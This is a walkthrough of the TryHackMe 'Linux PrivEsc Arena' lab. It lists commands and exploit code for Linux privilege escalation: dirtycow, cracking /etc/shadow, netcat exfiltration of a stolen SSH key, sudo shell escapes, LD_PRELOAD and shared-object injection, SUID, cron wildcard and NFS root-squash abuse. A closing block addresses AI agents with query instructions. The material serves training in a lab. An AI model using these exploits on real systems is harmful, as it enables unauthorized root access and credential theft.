# Linux PrivEsc Arena

**Room Link:** <https://tryhackme.com/room/linuxprivescarena>

## Privilege Escalation - Kernel Exploits

In command prompt type:&#x20;

**Victim**

```
/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh
```

From the output, notice that the OS is vulnerable to “dirtycow”.

<figure><img src="/files/wF2S4aeJ8GRXr6YeDcUj" alt=""><figcaption></figcaption></figure>

### Exploitation

Linux VM

In command prompt type:&#x20;

**Victim**

```
gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w
```

In command prompt type:&#x20;

**Victim**

```
./c0w
```

Disclaimer: This part takes 1-2 minutes - Please allow it some time to work.

In command prompt type:&#x20;

**Victim**

```
passwd
```

In command prompt type:&#x20;

**Victim**

```
id
```

<figure><img src="/files/f1iwYow6X7hw1noXyw1W" alt=""><figcaption></figcaption></figure>

From here, either copy /tmp/passwd back to /usr/bin/passwd or reset your machine to undo changes made to the passwd binary

**Victim**

```
ls -lah /usr/bin/passwd 
rm -f /usr/bin/passwd   
cp /tmp/bak /usr/bin/passwd 
ls -lah /usr/bin/passwd 
```

<figure><img src="/files/Bu2q0Jq3cXa2TYTofK5f" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Stored Passwords (Config Files)

From the output, make note of the value of the “auth-user-pass” directive.&#x20;

**Victim**

```
cat /home/user/myvpn.ovpn
```

<figure><img src="/files/akg3hSRNPap27KJZI0W5" alt=""><figcaption></figcaption></figure>

From the output, make note of the clear-text credentials.&#x20;

**Victim**

```
cat /etc/openvpn/auth.txt 
```

<figure><img src="/files/fiFwh6bsU6uMm9di4F7s" alt=""><figcaption></figcaption></figure>

From the output, make note of the clear-text credentials.

**Victim**

```
cat /home/user/.irssi/config | grep -i passw 
```

<figure><img src="/files/sMlAoBs9TIaBP46DVxlf" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Stored Passwords (History)

**Victim**

```
cat ~/.bash_history | grep -i passw 
```

From the output, make note of the clear-text credentials.

<figure><img src="/files/YaKzFYx445PlsKWCkfXa" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Weak File Permissions

**Victim**

```
cat /etc/passwd
```

Save the output to a file on your attacker machine

<figure><img src="/files/xjir3gVwLftBkdyiKGqI" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /etc/shadow
```

Save the output to a file on your attacker machine

<figure><img src="/files/BRFeXbaMaAI03KipE1Dw" alt=""><figcaption></figcaption></figure>

**Kali**

```
unshadow passwd shadow > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt -O
```

<figure><img src="/files/ir54AMJePObZcTfkP5p9" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SSH Keys

Found nothing for this box

**Victim**

```
find / -name authorized_keys 2> /dev/null
```

**Victim**

```
find / -name id_rsa 2> /dev/null
cat /backups/supersecretkeys/id_rsa
```

<figure><img src="/files/AgWGrR6PcTNrvEh8h6m4" alt=""><figcaption></figcaption></figure>

#### Netcat

**Kali(receiving)**

```
nc -l -p 1234 > id_rsa
```

**Victim(sending)**

```
nc -w 3 $KALI 1234 < id_rsa
```

**Kali**

```
chmod 400 id_rsa
ssh -i id_rsa root@$VICTIM
```

## Privilege Escalation - Sudo (Shell Escaping)

**Victim**

```
 sudo -l
```

<figure><img src="/files/kUsKf16ixMbUK4iYuSG8" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo find /bin -name nano -exec /bin/sh \;
```

<figure><img src="/files/t00iyLv7amMQq5q14otP" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo awk 'BEGIN {system("/bin/sh")}'
```

<figure><img src="/files/u67ocYgKo08MTSs0wKFv" alt=""><figcaption></figcaption></figure>

**Victim**

```
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
```

<figure><img src="/files/Vfs8YjazOuSqmO1OheIl" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo vim -c '!sh'
```

<figure><img src="/files/0Z3pVGfNKQtZ45X8ZEMa" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Sudo (Abusing Intended Functionality)

**Victim**

```
 sudo -l
```

<figure><img src="/files/kUsKf16ixMbUK4iYuSG8" alt=""><figcaption></figcaption></figure>

**Victim**

```
 sudo apache2 -f /etc/shadow
```

<figure><img src="/files/tiAXx9ud3xnZPi89BSFp" alt=""><figcaption></figcaption></figure>

**Kali**

```
 john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
 john hash.txt --show
```

<figure><img src="/files/FltKQhFmd7aIFthFoiG7" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Sudo (LD\_PRELOAD)

**Victim**

```
 sudo -l
```

<figure><img src="/files/kUsKf16ixMbUK4iYuSG8" alt=""><figcaption></figcaption></figure>

**exploit.c**

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

**Victim**

```
gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so apache2
```

<figure><img src="/files/TeiHVpz0aMgrurOChQ4O" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Shared Object Injection)

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="/files/otjX1hFSAYgjkrdMV72F" alt=""><figcaption></figcaption></figure>

**Victim**

```
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
```

<figure><img src="/files/gM8svfG7Dds0ypOO9Hss" alt=""><figcaption></figcaption></figure>

**Victim**

```
mkdir /home/user/.config
cd /home/user/.config
vi libcalc.c
```

**libcalc.c**

```
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

**Victim**

```
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
/usr/local/bin/suid-so
```

<figure><img src="/files/RfgDmFL8FjBe84JaJqhl" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Symlinks)

**Victim #1**

```
 dpkg -l | grep nginx
```

<figure><img src="/files/ldd4d7Dxce0lDRf1cn0c" alt=""><figcaption></figcaption></figure>

**Victim #1**

```
su -l www-data
```

**Victim #1**

```
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
```

**Victim #2**

```
invoke-rc.d nginx rotate >/dev/null 2>&1
```

**Victim #1**

```
id
```

<figure><img src="/files/rCEzOtM5nDohEFcD3N9G" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Environment Variables #1)

### Detection

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="/files/CJpdH71iWUUX8DCbgusl" alt=""><figcaption></figcaption></figure>

**Victim**

```
strings /usr/local/bin/suid-env
```

<figure><img src="/files/SyjWKgoMTxqgBKf0W6nn" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
```

**Victim**

```
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid-env
```

**Victim**

```
id
```

<figure><img src="/files/zEQKZORXOxciNrtl26Qc" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Environment Variables #2)

### Detection

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="/files/ZHVYeqKt0baI8kK9w0Xq" alt=""><figcaption></figcaption></figure>

**Victim**

```
/usr/local/bin/suid-env2
```

### Exploitation Method #1

**Victim**

```
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
```

**Victim**

```
export -f /usr/sbin/service
```

**Victim**

```
/usr/local/bin/suid-env2
```

### Exploitation Method #2

**Victim**

```
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
```

## Privilege Escalation - Capabilities

**Victim**

```
getcap -r / 2>/dev/null
```

<figure><img src="/files/xjF39enymux9rPCRwSDe" alt=""><figcaption></figcaption></figure>

**Victim**

```
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

<figure><img src="/files/VNNprmy5fV2qib49uCBe" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (Path)

### Detection

**Victim**

```
cat /etc/crontab
```

<figure><img src="/files/TUFdcKzt2XkO1qHFZsq3" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
```

Wait 1 minute for the Bash script to execute.

**Victim**

```
/tmp/bash -p
id
```

<figure><img src="/files/b7BeVaevrpSs1qdFKOdN" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (Wildcards)

### Detection

From the output, notice the script “/usr/local/bin/compress.sh”

**Victim**

```
cat /etc/crontab
```

<figure><img src="/files/shnBtrqldZTCoDgQrgeN" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /usr/local/bin/compress.sh
```

<figure><img src="/files/pxUj15iQ9MBuaVsC21lh" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
```

**Victim**

```
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
```

**Victim**

```
/tmp/bash -p
id
```

<figure><img src="/files/007ucYPZRXJJtVm8PJ9D" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (File Overwrite)

### Detection

From the output, notice the script “overwrite.sh”

**Victim**

```
cat /etc/crontab
```

<figure><img src="/files/MS3nzL05FWWnmrhlposM" alt=""><figcaption></figcaption></figure>

From the output, notice the file permissions.

**Victim**

```
ls -l /usr/local/bin/overwrite.sh
```

<figure><img src="/files/pOPss1Pf9dmxozFaLC2A" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
```

Wait 1 minute for the Bash script to execute.

**Victim**

```
/tmp/bash -p
id
```

## Privilege Escalation - NFS Root Squashing

### Detection

From the output, notice that “no\_root\_squash” option is defined for the “/tmp” export.

**Victim**

```
cat /etc/exports
```

<figure><img src="/files/Kfg5zAaLv7wJ8JDYA0an" alt=""><figcaption></figcaption></figure>

### Exploitation

**Kali**

```
showmount -e $VICTIM
```

<figure><img src="/files/aguHygNCapLjOeoEKUBm" alt=""><figcaption></figcaption></figure>

**Kali**

```
mkdir /tmp/1
mount -o rw,vers=2 10.10.26.171:/tmp /tmp/1
```

**Kali**

```
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
```

**Kali**

```
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x
```

**Victim**

```
/tmp/x
id
```

<figure><img src="/files/fPF7QEDhGvq2d4GO3VrI" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc-arena.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
